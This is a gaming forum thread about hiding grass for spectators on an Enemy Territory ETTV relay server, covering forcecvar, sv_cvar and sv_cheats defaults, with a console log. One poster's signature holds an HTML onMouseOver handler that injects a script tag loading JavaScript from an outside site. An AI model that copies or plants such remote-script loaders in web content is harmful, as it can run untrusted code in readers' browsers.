turning grass off in slaves

Forum for discussing ET TV

Moderators: Forum moderators, developers

Sword
Posts: 14
Joined: Thu Jun 02, 2005 12:30 pm

turning grass off in slaves

Post by Sword »

i have a master and a slave
when my slave connects up to the master (master running radar)
clients on the slave and see the grass on radar

i was wondering how you could turn off grass on the server side of slave
so clients dont see the grass when they are viewing

cuz ive noticed that euro ETTV servers have grass off for viewers but ive never figured that out
User avatar
Deus
Posts: 1053
Joined: Fri Mar 12, 2004 2:24 am
Location: Germany
Contact:

Post by Deus »

maybe they play without grass oO?
jump3r
Posts: 159
Joined: Sun Apr 18, 2004 1:11 am

Post by jump3r »

hmm, did you try
forcecvar r_drawfoliage 0
on the slave server?
Locked_On
Posts: 171
Joined: Wed Oct 22, 2003 5:30 pm

Post by Locked_On »

Or sv_cvar better.
-------------------------------------
www.terminal-insanity.com
User avatar
gotenks
Posts: 3465
Joined: Fri Nov 15, 2002 4:12 pm
Location: out of my mind
Contact:

Post by gotenks »

Locked_On wrote:Or sv_cvar better.
iirc, forcecvar is what is needed here as sv_cvar is for enforcement, forcecvar also changes server side (which is what is required) and it is protected which sv_cvars don't have the authority to change
My Website
Image
After a night of binge drinking:
=FF=im2good4u wrote:WTF wanst i on top ?
Sword
Posts: 14
Joined: Thu Jun 02, 2005 12:30 pm

Post by Sword »

well for the slave i have a mapdefault.cfg
with the forcecvar r_drawfoliage 0 but if i connect to the slave thats connected to the master
grass is still on even tho r_drawfoliage is 0

so i have no idea why it doesnt enforce it on the slave
User avatar
Lekdevil.NL
Posts: 89
Joined: Fri Sep 12, 2003 8:59 am

Post by Lekdevil.NL »

As far as I can tell, the slave servers act as mere pass-throughs of the settings that are in effect on the master. Hence, the local config of the slave has no effect on cvar enforcement.
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

Lekdevil.NL wrote:As far as I can tell, the slave servers act as mere pass-throughs of the settings that are in effect on the master. Hence, the local config of the slave has no effect on cvar enforcement.
but apperently forcecvar isn't passed on, since even when the actual game is being played on a config that forces foliage off, the tv specs still see it.
send lawyers, guns and money
User avatar
Lekdevil.NL
Posts: 89
Joined: Fri Sep 12, 2003 8:59 am

Post by Lekdevil.NL »

Ahhh. Yes, you're right; I just checked. On the other hand, sv_cheats appears to default to 1 on an ETTV broadcast slave, so a viewer could just enter \r_drawfoliage 0 to remove the grass (just checked this as well and it worked). That is, if the admin didn't explicitly set sv_cheats to 0 on the ETTV server command line.
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

sv_cheats shouldnt default to 1 on a slave 8)

forcecvar isnt propagated down, but sv_cvar is (which is silly, and is on the list to be fixed).
User avatar
Lekdevil.NL
Posts: 89
Joined: Fri Sep 12, 2003 8:59 am

Post by Lekdevil.NL »

bani wrote:sv_cheats shouldnt default to 1 on a slave 8)
I hate to contradict happy bani, but...

Code: Select all

./ettv.x86 +set net_ip x.x.x.x +set net_port 27960 +set com_watchdog 0 +set fs_homepath ~/et27960 +set fs_game etpro +tv connect sea.gamecloud.com:27970 **** ****

... bla bla bla ...

status
map: sw_goldrush_te
num score ping name            lastmsg address               qport rate
--- ----- ---- --------------- ------- --------------------- ----- -----

tv status
ettv: Connected to master server sea.gamecloud.com:27970 (66.93.87.6:27970)
sv_cheats
"sv_cheats" is:"1^7" default:"1^7"
Well, maybe it shouldn't, but it does... :shock:
User avatar
deej
Posts: 743
Joined: Fri Mar 19, 2004 12:44 am
Location: Belgium!
Contact:

Post by deej »

listofstufftofix++; ;)
Our servers now run on 64 bit steroids. Point your ET to:
- Forgotten Ground StopWatch Server with occasional wolfrof 1
- Fraggle Rock ETPub Server - Mix up ET/UT & Duke Nukem
User avatar
gotenks
Posts: 3465
Joined: Fri Nov 15, 2002 4:12 pm
Location: out of my mind
Contact:

Post by gotenks »

i actually think having cheats enabled on a slave is a good thing, it would allwo you to do things (such as show normals) and other things to see how well he plays (and gather other information)
My Website
Image
After a night of binge drinking:
=FF=im2good4u wrote:WTF wanst i on top ?
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

Lekdevil.NL wrote:I hate to contradict happy bani, but...
He secretly likes it.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Sword
Posts: 14
Joined: Thu Jun 02, 2005 12:30 pm

Post by Sword »

hmm on my slave sv_cheats defaults to 0
Post Reply